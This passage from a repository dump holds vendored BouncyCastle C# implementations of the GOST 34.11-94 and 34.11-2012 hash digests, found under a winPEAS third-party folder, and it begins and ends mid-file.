xBuf.Length)\n\t\t\t{\n\t\t\t\tArray.Copy(input, inOff, xBuf, 0, xBuf.Length);\n\n\t\t\t\tsumByteArray(xBuf); // calc sum M\n\t\t\t\tprocessBlock(xBuf, 0);\n\t\t\t\tinOff += xBuf.Length;\n\t\t\t\tlength -= xBuf.Length;\n\t\t\t\tbyteCount += (uint)xBuf.Length;\n\t\t\t}\n\n\t\t\t// load in the remainder.\n\t\t\twhile (length > 0)\n\t\t\t{\n\t\t\t\tUpdate(input[inOff]);\n\t\t\t\tinOff++;\n\t\t\t\tlength--;\n\t\t\t}\n\t\t}\n\n\t\t// (i + 1 + 4(k - 1)) = 8i + k      i = 0-3, k = 1-8\n\t\tprivate byte[] K = new byte[32];\n\n\t\tprivate byte[] P(byte[] input)\n\t\t{\n\t\t\tint fourK = 0;\n\t\t\tfor(int k = 0; k < 8; k++)\n\t\t\t{\n\t\t\t\tK[fourK++] = input[k];\n\t\t\t\tK[fourK++] = input[8 + k];\n\t\t\t\tK[fourK++] = input[16 + k];\n\t\t\t\tK[fourK++] = input[24 + k];\n\t\t\t}\n\n\t\t\treturn K;\n\t\t}\n\n\t\t//A (x) = (x0 ^ x1) || x3 || x2 || x1\n\t\tbyte[] a = new byte[8];\n\t\tprivate byte[] A(byte[] input)\n\t\t{\n\t\t\tfor(int j=0; j<8; j++)\n\t\t\t{\n\t\t\t\ta[j]=(byte)(input[j] ^ input[j+8]);\n\t\t\t}\n\n\t\t\tArray.Copy(input, 8, input, 0, 24);\n\t\t\tArray.Copy(a, 0, input, 24, 8);\n\n\t\t\treturn input;\n\t\t}\n\n\t\t//Encrypt function, ECB mode\n\t\tprivate void E(byte[] key, byte[] s, int sOff, byte[] input, int inOff)\n\t\t{\n\t\t\tcipher.Init(true, new KeyParameter(key));\n\n\t\t\tcipher.ProcessBlock(input, inOff, s, sOff);\n\t\t}\n\n\t\t// (in:) n16||..||n1 ==> (out:) n1^n2^n3^n4^n13^n16||n16||..||n2\n\t\tinternal short[] wS = new short[16], w_S = new short[16];\n\n\t\tprivate void fw(byte[] input)\n\t\t{\n\t\t\tcpyBytesToShort(input, wS);\n\t\t\tw_S[15] = (short)(wS[0] ^ wS[1] ^ wS[2] ^ wS[3] ^ wS[12] ^ wS[15]);\n\t\t\tArray.Copy(wS, 1, w_S, 0, 15);\n\t\t\tcpyShortToBytes(w_S, input);\n\t\t}\n\n\t\t// block processing\n\t\tinternal byte[] S = new byte[32], U = new byte[32], V = new byte[32], W = new byte[32];\n\n\t\tprivate void processBlock(byte[] input, int inOff)\n\t\t{\n\t\t\tArray.Copy(input, inOff, M, 0, 32);\n\n\t\t\t//key step 1\n\n\t\t\t// H = h3 || h2 || h1 || h0\n\t\t\t// S = s3 || s2 || s1 || s0\n\t\t\tH.CopyTo(U, 0);\n\t\t\tM.CopyTo(V, 0);\n\t\t\tfor (int j=0; j<32; j++)\n\t\t\t{\n\t\t\t\tW[j] = (byte)(U[j]^V[j]);\n\t\t\t}\n\t\t\t// Encrypt gost28147-ECB\n\t\t\tE(P(W), S, 0, H, 0); // s0 = EK0 [h0]\n\n\t\t\t//keys step 2,3,4\n\t\t\tfor (int i=1; i<4; i++)\n\t\t\t{\n\t\t\t\tbyte[] tmpA = A(U);\n\t\t\t\tfor (int j=0; j<32; j++)\n\t\t\t\t{\n\t\t\t\t\tU[j] = (byte)(tmpA[j] ^ C[i][j]);\n\t\t\t\t}\n\t\t\t\tV = A(A(V));\n\t\t\t\tfor (int j=0; j<32; j++)\n\t\t\t\t{\n\t\t\t\t\tW[j] = (byte)(U[j]^V[j]);\n\t\t\t\t}\n\t\t\t\t// Encrypt gost28147-ECB\n\t\t\t\tE(P(W), S, i * 8, H, i * 8); // si = EKi [hi]\n\t\t\t}\n\n\t\t\t// x(M, H) = y61(H^y(M^y12(S)))\n\t\t\tfor(int n = 0; n < 12; n++)\n\t\t\t{\n\t\t\t\tfw(S);\n\t\t\t}\n\t\t\tfor(int n = 0; n < 32; n++)\n\t\t\t{\n\t\t\t\tS[n] = (byte)(S[n] ^ M[n]);\n\t\t\t}\n\n\t\t\tfw(S);\n\n\t\t\tfor(int n = 0; n < 32; n++)\n\t\t\t{\n\t\t\t\tS[n] = (byte)(H[n] ^ S[n]);\n\t\t\t}\n\t\t\tfor(int n = 0; n < 61; n++)\n\t\t\t{\n\t\t\t\tfw(S);\n\t\t\t}\n\t\t\tArray.Copy(S, 0, H, 0, H.Length);\n\t\t}\n\n\t\tprivate void finish()\n\t\t{\n\t\t\tulong bitCount = byteCount * 8;\n\t\t\tPack.UInt64_To_LE(bitCount, L);\n\n\t\t\twhile (xBufOff != 0)\n\t\t\t{\n\t\t\t\tUpdate((byte)0);\n\t\t\t}\n\n\t\t\tprocessBlock(L, 0);\n\t\t\tprocessBlock(Sum, 0);\n\t\t}\n\n\t\tpublic int DoFinal(\n\t\t\tbyte[]  output,\n\t\t\tint     outOff)\n\t\t{\n\t\t\tfinish();\n\n\t\t\tH.CopyTo(output, outOff);\n\n\t\t\tReset();\n\n\t\t\treturn DIGEST_LENGTH;\n\t\t}\n\n\t\t/**\n\t\t* reset the chaining variables to the IV values.\n\t\t*/\n\t\tprivate static readonly byte[] C2 = {\n\t\t\t0x00,(byte)0xFF,0x00,(byte)0xFF,0x00,(byte)0xFF,0x00,(byte)0xFF,\n\t\t\t(byte)0xFF,0x00,(byte)0xFF,0x00,(byte)0xFF,0x00,(byte)0xFF,0x00,\n\t\t\t0x00,(byte)0xFF,(byte)0xFF,0x00,(byte)0xFF,0x00,0x00,(byte)0xFF,\n\t\t\t(byte)0xFF,0x00,0x00,0x00,(byte)0xFF,(byte)0xFF,0x00,(byte)0xFF\n\t\t};\n\n\t\tpublic void Reset()\n\t\t{\n\t\t\tbyteCount = 0;\n\t\t\txBufOff = 0;\n\n\t\t\tArray.Clear(H, 0, H.Length);\n\t\t\tArray.Clear(L, 0, L.Length);\n\t\t\tArray.Clear(M, 0, M.Length);\n\t\t\tArray.Clear(C[1], 0, C[1].Length); // real index C = +1 because index array with 0.\n\t\t\tArray.Clear(C[3], 0, C[3].Length);\n\t\t\tArray.Clear(Sum, 0, Sum.Length);\n\t\t\tArray.Clear(xBuf, 0, xBuf.Length);\n\n\t\t\tC2.CopyTo(C[2], 0);\n\t\t}\n\n\t\t//  256 bitsblock modul -> (Sum + a mod (2^256))\n\t\tprivate void sumByteArray(\n\t\t\tbyte[] input)\n\t\t{\n\t\t\tint carry = 0;\n\n\t\t\tfor (int i = 0; i != Sum.Length; i++)\n\t\t\t{\n\t\t\t\tint sum = (Sum[i] & 0xff) + (input[i] & 0xff) + carry;\n\n\t\t\t\tSum[i] = (byte)sum;\n\n\t\t\t\tcarry = sum >> 8;\n\t\t\t}\n\t\t}\n\n\t\tprivate static void cpyBytesToShort(byte[] S, short[] wS)\n\t\t{\n\t\t\tfor(int i = 0; i < S.Length / 2; i++)\n\t\t\t{\n\t\t\t\twS[i] = (short)(((S[i*2+1]<<8)&0xFF00)|(S[i*2]&0xFF));\n\t\t\t}\n\t\t}\n\n\t\tprivate static void cpyShortToBytes(short[] wS, byte[] S)\n\t\t{\n\t\t\tfor(int i=0; i<S.Length/2; i++)\n\t\t\t{\n\t\t\t\tS[i*2 + 1] = (byte)(wS[i] >> 8);\n\t\t\t\tS[i*2] = (byte)wS[i];\n\t\t\t}\n\t\t}\n\n\t\tpublic int GetByteLength()\n\t\t{\n\t\t\treturn 32;\n\t\t}\n\n\t\tpublic IMemoable Copy()\n\t\t{\n\t\t\treturn new Gost3411Digest(this);\n\t\t}\n\n\t\tpublic void Reset(IMemoable other)\n\t\t{\n\t\t\tGost3411Digest t = (Gost3411Digest)other;\n\n\t\t\tthis.sBox = t.sBox;\n\t\t\tcipher.Init(true, new ParametersWithSBox(null, sBox));\n\n\t\t\tReset();\n\n\t\t\tArray.Copy(t.H, 0, this.H, 0, t.H.Length);\n\t\t\tArray.Copy(t.L, 0, this.L, 0, t.L.Length);\n\t\t\tArray.Copy(t.M, 0, this.M, 0, t.M.Length);\n\t\t\tArray.Copy(t.Sum, 0, this.Sum, 0, t.Sum.Length);\n\t\t\tArray.Copy(t.C[1], 0, this.C[1], 0, t.C[1].Length);\n\t\t\tArray.Copy(t.C[2], 0, this.C[2], 0, t.C[2].Length);\n\t\t\tArray.Copy(t.C[3], 0, this.C[3], 0, t.C[3].Length);\n\t\t\tArray.Copy(t.xBuf, 0, this.xBuf, 0, t.xBuf.Length);\n\n\t\t\tthis.xBufOff = t.xBufOff;\n\t\t\tthis.byteCount = t.byteCount;\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/GOST3411_2012Digest.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    public abstract class Gost3411_2012Digest:IDigest,IMemoable\n    {\n        private readonly byte[] IV = new byte[64];\n        private readonly byte[] N = new byte[64];\n        private readonly byte[] Sigma = new byte[64];\n        private readonly byte[] Ki = new byte[64];\n        private readonly byte[] m = new byte[64];\n        private readonly byte[] h = new byte[64];\n\n        // Temporary buffers\n        private readonly byte[] tmp = new byte[64];\n        private readonly byte[] block = new byte[64];\n\n        private int bOff = 64;\n\n        protected Gost3411_2012Digest(byte[] IV)\n        {\n            System.Array.Copy(IV,this.IV,64);\n            System.Array.Copy(IV, h, 64);\n        }\n\n        public abstract string AlgorithmName { get; }\n\n        public abstract IMemoable Copy();\n\n        public virtual int DoFinal(byte[] output, int outOff)\n        {\n            int lenM = 64 - bOff;\n\n            // At this point it is certain that lenM is smaller than 64\n            for (int i = 0; i != 64 - lenM; i++)\n            {\n                m[i] = 0;\n            }\n\n            m[63 - lenM] = 1;\n\n            if (bOff != 64)\n            {\n                System.Array.Copy(block, bOff, m, 64 - lenM, lenM);\n            }\n\n            g_N(h, N, m);\n            addMod512(N, lenM * 8);\n            addMod512(Sigma, m);\n            g_N(h, Zero, N);\n            g_N(h, Zero, Sigma);\n\n            reverse(h, tmp);\n            \n            Array.Copy(tmp, 0, output, outOff, 64);\n\n            Reset();\n            return 64;\n        }\n\n        public int GetByteLength()\n        {\n            return 64;\n        }\n\n        public abstract int GetDigestSize();\n       \n\n        public void Reset()\n        {\n            bOff = 64;\n            Arrays.Fill(N, (byte)0);\n            Arrays.Fill(Sigma, (byte)0);\n            System.Array.Copy(IV, 0, h, 0, 64);\n            Arrays.Fill(block, (byte)0);\n        }\n\n        public void Reset(IMemoable other)\n        {\n            Gost3411_2012Digest o = (Gost3411_2012Digest)other;\n\n            System.Array.Copy(o.IV, 0, this.IV, 0, 64);\n            System.Array.Copy(o.N, 0, this.N, 0, 64);\n            System.Array.Copy(o.Sigma, 0, this.Sigma, 0, 64);\n            System.Array.Copy(o.Ki, 0, this.Ki, 0, 64);\n            System.Array.Copy(o.m, 0, this.m, 0, 64);\n            System.Array.Copy(o.h, 0, this.h, 0, 64);\n\n            System.Array.Copy(o.block, 0, this.block, 0, 64);\n            this.bOff = o.bOff;\n        }\n\n        public void Update(byte input)\n        {\n            block[--bOff] = input;\n            if (bOff == 0)\n            {\n                g_N(h, N, block);\n                addMod512(N, 512);\n                addMod512(Sigma, block);\n                bOff = 64;\n            }\n        }\n\n\n        public void BlockUpdate(byte[] input, int inOff, int len)\n        {\n            while (bOff != 64 && len > 0)\n            {\n                Update(input[inOff++]);\n                len--;\n            }\n            while (len >= 64)\n            {\n                System.Array.Copy(input, inOff, tmp, 0, 64);\n                reverse(tmp, block);\n                g_N(h, N, block);\n                addMod512(N, 512);\n                addMod512(Sigma, block);\n\n                len -= 64;\n                inOff += 64;\n            }\n            while (len > 0)\n            {\n                Update(input[inOff++]);\n                len--;\n            }\n        }\n\n    \n\n\n        private void F(byte[] V)\n        {\n            ulong[] res = new ulong[8];\n            ulong r;\n\n            r = 0;\n            r ^= T[0][(V[56] & 0xFF)];\n            r ^= T[1][(V[48] & 0xFF)];\n            r ^= T[2][(V[40] & 0xFF)];\n            r ^= T[3][(V[32] & 0xFF)];\n            r ^= T[4][(V[24] & 0xFF)];\n            r ^= T[5][(V[16] & 0xFF)];\n            r ^= T[6][(V[8] & 0xFF)];\n            r ^= T[7][(V[0] & 0xFF)];\n            res[0] = r;\n\n            r = 0;\n            r ^= T[0][(V[57] & 0xFF)];\n            r ^= T[1][(V[49] & 0xFF)];\n            r ^= T[2][(V[41] & 0xFF)];\n            r ^= T[3][(V[33] & 0xFF)];\n            r ^= T[4][(V[25] & 0xFF)];\n            r ^= T[5][(V[17] & 0xFF)];\n            r ^= T[6][(V[9] & 0xFF)];\n            r ^= T[7][(V[1] & 0xFF)];\n            res[1] = r;\n\n            r = 0;\n            r ^= T[0][(V[58] & 0xFF)];\n            r ^= T[1][(V[50] & 0xFF)];\n            r ^= T[2][(V[42] & 0xFF)];\n            r ^= T[3][(V[34] & 0xFF)];\n            r ^= T[4][(V[26] & 0xFF)];\n            r ^= T[5][(V[18] & 0xFF)];\n            r ^= T[6][(V[10] & 0xFF)];\n            r ^= T[7][(V[2] & 0xFF)];\n            res[2] = r;\n\n            r = 0;\n            r ^= T[0][(V[59] & 0xFF)];\n            r ^= T[1][(V[51] & 0xFF)];\n            r ^= T[2][(V[43] & 0xFF)];\n            r ^= T[3][(V[35] & 0xFF)];\n            r ^= T[4][(V[27] & 0xFF)];\n            r ^= T[5][(V[19] & 0xFF)];\n            r ^= T[6][(V[11] & 0xFF)];\n            r ^= T[7][(V[3] & 0xFF)];\n            res[3] = r;\n\n            r = 0;\n            r ^= T[0][(V[60] & 0xFF)];\n            r ^= T[1][(V[52] & 0xFF)];\n            r ^= T[2][(V[44] & 0xFF)];\n            r ^= T[3][(V[36] & 0xFF)];\n            r ^= T[4][(V[28] & 0xFF)];\n            r ^= T[5][(V[20] & 0xFF)];\n            r ^= T[6][(V[12] & 0xFF)];\n            r ^= T[7][(V[4] & 0xFF)];\n            res[4] = r;\n\n            r = 0;\n            r ^= T[0][(V[61] & 0xFF)];\n            r ^= T[1][(V[53] & 0xFF)];\n            r ^= T[2][(V[45] & 0xFF)];\n            r ^= T[3][(V[37] & 0xFF)];\n            r ^= T[4][(V[29] & 0xFF)];\n            r ^= T[5][(V[21] & 0xFF)];\n            r ^= T[6][(V[13] & 0xFF)];\n            r ^= T[7][(V[5] & 0xFF)];\n            res[5] = r;\n\n            r = 0;\n            r ^= T[0][(V[62] & 0xFF)];\n            r ^= T[1][(V[54] & 0xFF)];\n            r ^= T[2][(V[46] & 0xFF)];\n            r ^= T[3][(V[38] & 0xFF)];\n            r ^= T[4][(V[30] & 0xFF)];\n            r ^= T[5][(V[22] & 0xFF)];\n            r ^= T[6][(V[14] & 0xFF)];\n            r ^= T[7][(V[6] & 0xFF)];\n            res[6] = r;\n\n            r = 0;\n            r ^= T[0][(V[63] & 0xFF)];\n            r ^= T[1][(V[55] & 0xFF)];\n            r ^= T[2][(V[47] & 0xFF)];\n            r ^= T[3][(V[39] & 0xFF)];\n            r ^= T[4][(V[31] & 0xFF)];\n            r ^= T[5][(V[23] & 0xFF)];\n            r ^= T[6][(V[15] & 0xFF)];\n            r ^= T[7][(V[7] & 0xFF)];\n            res[7] = r;\n\n            r = res[0];\n            V[7] = (byte)(r >> 56);\n            V[6] = (byte)(r >> 48);\n            V[5] = (byte)(r >> 40);\n            V[4] = (byte)(r >> 32);\n            V[3] = (byte)(r >> 24);\n            V[2] = (byte)(r >> 16);\n            V[1] = (byte)(r >> 8);\n            V[0] = (byte)(r);\n\n            r = res[1];\n            V[15] = (byte)(r >> 56);\n            V[14] = (byte)(r >> 48);\n            V[13] = (byte)(r >> 40);\n            V[12] = (byte)(r >> 32);\n            V[11] = (byte)(r >> 24);\n            V[10] = (byte)(r >> 16);\n            V[9] = (byte)(r >> 8);\n            V[8] = (byte)(r);\n\n            r = res[2];\n            V[23] = (byte)(r >> 56);\n            V[22] = (byte)(r >> 48);\n            V[21] = (byte)(r >> 40);\n            V[20] = (byte)(r >> 32);\n            V[19] = (byte)(r >> 24);\n            V[18] = (byte)(r >> 16);\n            V[17] = (byte)(r >> 8);\n            V[16] = (byte)(r);\n\n            r = res[3];\n            V[31] = (byte)(r >> 56);\n            V[30] = (byte)(r >> 48);\n            V[29] = (byte)(r >> 40);\n            V[28] = (byte)(r >> 32);\n            V[27] = (byte)(r >> 24);\n            V[26] = (byte)(r >> 16);\n            V[25] = (byte)(r >> 8);\n            V[24] = (byte)(r);\n\n            r = res[4];\n            V[39] = (byte)(r >> 56);\n            V[38] = (byte)(r >> 48);\n            V[37] = (byte)(r >> 40);\n            V[36] = (byte)(r >> 32);\n            V[35] = (byte)(r >> 24);\n            V[34] = (byte)(r >> 16);\n            V[33] = (byte)(r >> 8);\n            V[32] = (byte)(r);\n\n            r = res[5];\n            V[47] = (byte)(r >> 56);\n            V[46] = (byte)(r >> 48);\n            V[45] = (byte)(r >> 40);\n            V[44] = (byte)(r >> 32);\n            V[43] = (byte)(r >> 24);\n            V[42] = (byte)(r >> 16);\n            V[41] = (byte)(r >> 8);\n            V[40] = (byte)(r);\n\n            r = res[6];\n            V[55] = (byte)(r >> 56);\n            V[54] = (byte)(r >> 48);\n            V[53] = (byte)(r >> 40);\n            V[52] = (byte)(r >> 32);\n            V[51] = (byte)(r >> 24);\n            V[50] = (byte)(r >> 16);\n            V[49] = (byte)(r >> 8);\n            V[48] = (byte)(r);\n\n            r = res[7];\n            V[63] = (byte)(r >> 56);\n            V[62] = (byte)(r >> 48);\n            V[61] = (byte)(r >> 40);\n            V[60] = (byte)(r >> 32);\n            V[59] = (byte)(r >> 24);\n            V[58] = (byte)(r >> 16);\n            V[57] = (byte)(r >> 8);\n            V[56] = (byte)(r);\n        }\n\n        private void xor512(byte[] A, byte[] B)\n        {\n            for (int i = 0; i < 64; ++i)\n            {\n                A[i] ^= B[i];\n            }\n        }\n\n        private void E(byte[] K, byte[] m)\n        {\n            System.Array.Copy(K, 0, Ki, 0, 64);\n            xor512(K, m);\n            F(K);\n            for (int i = 0; i < 11; ++i)\n            {\n                xor512(Ki, C[i]);\n                F(Ki);\n                xor512(K, Ki);\n                F(K);\n            }\n            xor512(Ki, C[11]);\n            F(Ki);\n            xor512(K, Ki);\n        }\n\n        private void g_N(byte[] h, byte[] N, byte[] m)\n        {\n            System.Array.Copy(h, 0, tmp, 0, 64);\n\n            xor512(h, N);\n            F(h);\n\n            E(h, m);\n            xor512(h, tmp);\n            xor512(h, m);\n        }\n\n        private void addMod512(byte[] A, int num)\n        {\n            int c;\n            c = (A[63] & 0xFF) + (num & 0xFF);\n            A[63] = (byte)c;\n\n            c = (A[62] & 0xFF) + ((num >> 8) & 0xFF) + (c >> 8);\n            A[62] = (byte)c;\n\n            for (int i = 61; (i >= 0) && (c > 0); --i)\n            {\n                c = (A[i] & 0xFF) + (c >> 8);\n                A[i] = (byte)c;\n            }\n        }\n\n        private void addMod512(byte[] A, byte[] B)\n        {\n            for (int c = 0, i = 63; i >= 0; --i)\n            {\n                c = (A[i] & 0xFF) + (B[i] & 0xFF) + (c >> 8);\n                A[i] = (byte)c;\n            }\n        }\n\n        private void reverse(byte[] src, byte[] dst)\n        {\n            int len = src.Length;\n            for (int i = 0; i < len; i++)\n            {\n                dst[len - 1 - i] = src[i];\n            }\n        }\n\n        private static readonly byte[][] C = new byte[][]{ new byte[]{\n        (byte)0xb1, (byte)0x08, (byte)0x5b, (byte)0xda, (byte)0x1e, (byte)0xca, (byte)0xda, (byte)0xe9,\n        (byte)0xeb, (byte)0xcb, (byte)0x2f, (byte)0x81, (byte)0xc0, (byte)0x65, (byte)0x7c, (byte)0x1f,\n        (byte)0x2f, (byte)0x6a, (byte)0x76, (byte)0x43, (byte)0x2e, (byte)0x45, (byte)0xd0, (byte)0x16,\n        (byte)0x71, (byte)0x4e, (byte)0xb8, (byte)0x8d, (byte)0x75, (byte)0x85, (byte)0xc4, (byte)0xfc,\n        (byte)0x4b, (byte)0x7c, (byte)0xe0, (byte)0x91, (byte)0x92, (byte)0x67, (byte)0x69, (byte)0x01,\n        (byte)0xa2, (byte)0x42, (byte)0x2a, (byte)0x08, (byte)0xa4, (byte)0x60, (byte)0xd3, (byte)0x15,\n        (byte)0x05, (byte)0x76, (byte)0x74, (byte)0x36, (byte)0xcc, (byte)0x74, (byte)0x4d, (byte)0x23,\n        (byte)0xdd, (byte)0x80, (byte)0x65, (byte)0x59, (byte)0xf2, (byte)0xa6, (byte)0x45, (byte)0x07},\n            \n        new byte[]{\n            (byte)0x6f, (byte)0xa3, (byte)0xb5, (byte)0x8a, (byte)0xa9, (byte)0x9d, (byte)0x2f, (byte)0x1a,\n            (byte)0x4f, (byte)0xe3, (byte)0x9d, (byte)0x46, (byte)0x0f, (byte)0x70, (byte)0xb5, (byte)0xd7,\n            (byte)0xf3, (byte)0xfe, (byte)0xea, (byte)0x72, (byte)0x0a, (byte)0x23, (byte)0x2b, (byte)0x98,\n            (byte)0x61, (byte)0xd5, (byte)0x5e, (byte)0x0f, (byte)0x16, (byte)0xb5, (byte)0x01, (byte)0x31,\n            (byte)0x9a, (byte)0xb5, (byte)0x17, (byte)0x6b, (byte)0x12, (byte)0xd6, (byte)0x99, (byte)0x58,\n            (byte)0x5c, (byte)0xb5, (byte)0x61, (byte)0xc2, (byte)0xdb, (byte)0x0a, (byte)0xa7, (byte)0xca,\n            (byte)0x55, (byte)0xdd, (byte)0xa2, (byte)0x1b, (byte)0xd7, (byte)0xcb, (byte)0xcd, (byte)0x56,\n            (byte)0xe6, (byte)0x79, (byte)0x04, (byte)0x70, (byte)0x21, (byte)0xb1, (byte)0x9b, (byte)0xb7},\n        new byte[]{\n            (byte)0xf5, (byte)0x74, (byte)0xdc, (byte)0xac, (byte)0x2b, (byte)0xce, (byte)0x2f, (byte)0xc7,\n            (byte)0x0a, (byte)0x39, (byte)0xfc, (byte)0x28, (byte)0x6a, (byte)0x3d, (byte)0x84, (byte)0x35,\n            (byte)0x06, (byte)0xf1, (byte)0x5e, (byte)0x5f, (byte)0x52, (byte)0x9c, (byte)0x1f, (byte)0x8b,\n            (byte)0xf2, (byte)0xea, (byte)0x75, (byte)0x14, (byte)0xb1, (byte)0x29, (byte)0x7b, (byte)0x7b,\n            (byte)0xd3, (byte)0xe2, (byte)0x0f, (byte)0xe4, (byte)0x90, (byte)0x35, (byte)0x9e, (byte)0xb1,\n            (byte)0xc1, (byte)0xc9, (byte)0x3a, (byte)0x37, (byte)0x60, (byte)0x62, (byte)0xdb, (byte)0x09,\n            (byte)0xc2, (byte)0xb6, (byte)0xf4, (byte)0x43, (byte)0x86, (byte)0x7a, (byte)0xdb, (byte)0x31,\n            (byte)0x99, (byte)0x1e, (byte)0x96, (byte)0xf5, (byte)0x0a, (byte)0xba, (byte)0x0a, (byte)0xb2},\n         new byte[]{\n            (byte)0xef, (byte)0x1f, (byte)0xdf, (byte)0xb3, (byte)0xe8, (byte)0x15, (byte)0x66, (byte)0xd2,\n            (byte)0xf9, (byte)0x48, (byte)0xe1, (byte)0xa0, (byte)0x5d, (byte)0x71, (byte)0xe4, (byte)0xdd,\n            (byte)0x48, (byte)0x8e, (byte)0x85, (byte)0x7e, (byte)0x33, (byte)0x5c, (byte)0x3c, (byte)0x7d,\n            (byte)0x9d, (byte)0x72, (byte)0x1c, (byte)0xad, (byte)0x68, (byte)0x5e, (byte)0x35, (byte)0x3f,\n            (byte)0xa9, (byte)0xd7, (byte)0x2c, (byte)0x82, (byte)0xed, (byte)0x03, (byte)0xd6, (byte)0x75,\n            (byte)0xd8, (byte)0xb7, (byte)0x13, (byte)0x33, (byte)0x93, (byte)0x52, (byte)0x03, (byte)0xbe,\n            (byte)0x34, (byte)0x53, (byte)0xea, (byte)0xa1, (byte)0x93, (byte)0xe8, (byte)0x37, (byte)0xf1,\n            (byte)0x22, (byte)0x0c, (byte)0xbe, (byte)0xbc, (byte)0x84, (byte)0xe3, (byte)0xd1, (byte)0x2e},\n        new byte[] {\n            (byte)0x4b, (byte)0xea, (byte)0x6b, (byte)0xac, (byte)0xad, (byte)0x47, (byte)0x47, (byte)0x99,\n            (byte)0x9a, (byte)0x3f, (byte)0x41, (byte)0x0c, (byte)0x6c, (byte)0xa9, (byte)0x23, (byte)0x63,\n            (byte)0x7f, (byte)0x15, (byte)0x1c, (byte)0x1f, (byte)0x16, (byte)0x86, (byte)0x10, (byte)0x4a,\n            (byte)0x35, (byte)0x9e, (byte)0x35, (byte)0xd7, (byte)0x80, (byte)0x0f, (byte)0xff, (byte)0xbd,\n            (byte)0xbf, (byte)0xcd, (byte)0x17, (byte)0x47, (byte)0x25, (byte)0x3a, (byte)0xf5, (byte)0xa3,\n            (byte)0xdf, (byte)0xff, (byte)0x00, (byte)0xb7, (byte)0x23, (byte)0x27, (byte)0x1a, (byte)0x16,\n            (byte)0x7a, (byte)0x56, (byte)0xa2, (byte)0x7e, (byte)0xa9, (byte)0xea, (byte)0x63, (byte)0xf5,\n            (byte)0x60, (byte)0x17, (byte)0x58, (byte)0xfd, (byte)0x7c, (byte)0x6c, (byte)0xfe, (byte)0x57},\n         new byte[]{\n            (byte)0xae, (byte)0x4f, (byte)0xae, (byte)0xae, (byte)0x1d, (byte)0x3a, (byte)0xd3, (byte)0xd9,\n            (byte)0x6f, (byte)0xa4, (byte)0xc3, (byte)0x3b, (byte)0x7a, (byte)0x30, (byte)0x39, (byte)0xc0,\n            (byte)0x2d, (byte)0x66, (byte)0xc4, (byte)0xf9, (byte)0x51, (byte)0x42, (byte)0xa4, (byte)0x6c,\n            (byte)0x18, (byte)0x7f, (byte)0x9a, (byte)0xb4, (byte)0x9a, (byte)0xf0, (byte)0x8e, (byte)0xc6,\n            (byte)0xcf, (byte)0xfa, (byte)0xa6, (byte)0xb7, (byte)0x1c, (byte)0x9a, (byte)0xb7, (byte)0xb4,\n            (byte)0x0a, (byte)0xf2, (byte)0x1f, (byte)0x66, (byte)0xc2, (byte)0xbe, (byte)0xc6, (byte)0xb6,\n            (byte)0xbf, (byte)0x71, (byte)0xc5, (byte)0x72, (byte)0x36, (byte)0x90, (byte)0x4f, (byte)0x35,\n            (byte)0xfa, (byte)0x68, (byte)0x40, (byte)0x7a, (byte)0x46, (byte)0x64, (byte)0x7d, (byte)0x6e},\n        new byte[] {\n            (byte)0xf4, (byte)0xc7, (byte)0x0e, (byte)0x16, (byte)0xee, (byte)0xaa, (byte)0xc5, (byte)0xec,\n            (byte)0x51, (byte)0xac, (byte)0x86, (byte)0xfe, (byte)0xbf, (byte)0x24, (byte)0x09, (byte)0x54,\n            (byte)0x39, (byte)0x9e, (byte)0xc6, (byte)0xc7, (byte)0xe6, (byte)0xbf, (byte)0x87, (byte)0xc9,\n            (byte)0xd3, (byte)0x47, (byte)0x3e, (byte)0x33, (byte)0x19, (byte)0x7a, (byte)0x93, (byte)0xc9,\n            (byte)0x09, (byte)0x92, (byte)0xab, (byte)0xc5, (byte)0x2d, (byte)0x82, (byte)0x2c, (byte)0x37,\n            (byte)0x06, (byte)0x47, (byte)0x69, (byte)0x83, (byte)0x28, (byte)0x4a, (byte)0x05, (byte)0x04,\n            (byte)0x35, (byte)0x17, (byte)0x45, (byte)0x4c, (byte)0xa2, (byte)0x3c, (byte)0x4a, (byte)0xf3,\n            (byte)0x88, (byte)0x86, (byte)0x56, (byte)0x4d, (byte)0x3a, (byte)0x14, (byte)0xd4, (byte)0x93},\n        new byte[] {\n            (byte)0x9b, (byte)0x1f, (byte)0x5b, (byte)0x42, (byte)0x4d, (byte)0x93, (byte)0xc9, (byte)0xa7,\n            (byte)0x03, (byte)0xe7, (byte)0xaa, (byte)0x02, (byte)0x0c, (byte)0x6e, (byte)0x41, (byte)0x41,\n            (byte)0x4e, (byte)0xb7, (byte)0xf8, (byte)0x71, (byte)0x9c, (byte)0x36, (byte)0xde, (byte)0x1e,\n            (byte)0x89, (byte)0xb4, (byte)0x44, (byte)0x3b, (byte)0x4d, (byte)0xdb, (byte)0xc4, (byte)0x9a,\n            (byte)0xf4, (byte)0x89, (byte)0x2b, (byte)0xcb, (byte)0x92, (byte)0x9b, (byte)0x06, (byte)0x90,\n            (byte)0x69, (byte)0xd1, (byte)0x8d, (byte)0x2b, (byte)0xd1, (byte)0xa5, (byte)0xc4, (byte)0x2f,\n            (byte)0x36, (byte)0xac, (byte)0xc2, (byte)0x35, (byte)0x59, (byte)0x51, (byte)0xa8, (byte)0xd9,\n            (byte)0xa4, (byte)0x7f, (byte)0x0d, (byte)0xd4, (byte)0xbf, (byte)0x02, (byte)0xe7, (byte)0x1e},\n         new byte[]{\n            (byte)0x37, (byte)0x8f, (byte)0x5a, (byte)0x54, (byte)0x16, (byte)0x31, (byte)0x22, (byte)0x9b,\n            (byte)0x94, (byte)0x4c, (byte)0x9a, (byte)0xd8, (byte)0xec, (byte)0x16, (byte)0x5f, (byte)0xde,\n            (byte)0x3a, (byte)0x7d, (byte)0x3a, (byte)0x1b, (byte)0x25, (byte)0x89, (byte)0x42, (byte)0x24,\n            (byte)0x3c, (byte)0xd9, (byte)0x55, (byte)0xb7, (byte)0xe0, (byte)0x0d, (byte)0x09, (byte)0x84,\n            (byte)0x80, (byte)0x0a, (byte)0x44, (byte)0x0b, (byte)0xdb, (byte)0xb2, (byte)0xce, (byte)0xb1,\n            (byte)0x7b, (byte)0x2b, (byte)0x8a, (byte)0x9a, (byte)0xa6, (byte)0x07, (byte)0x9c, (byte)0x54,\n            (byte)0x0e, (byte)0x38, (byte)0xdc, (byte)0x92, (byte)0xcb, (byte)0x1f, (byte)0x2a, (byte)0x60,\n        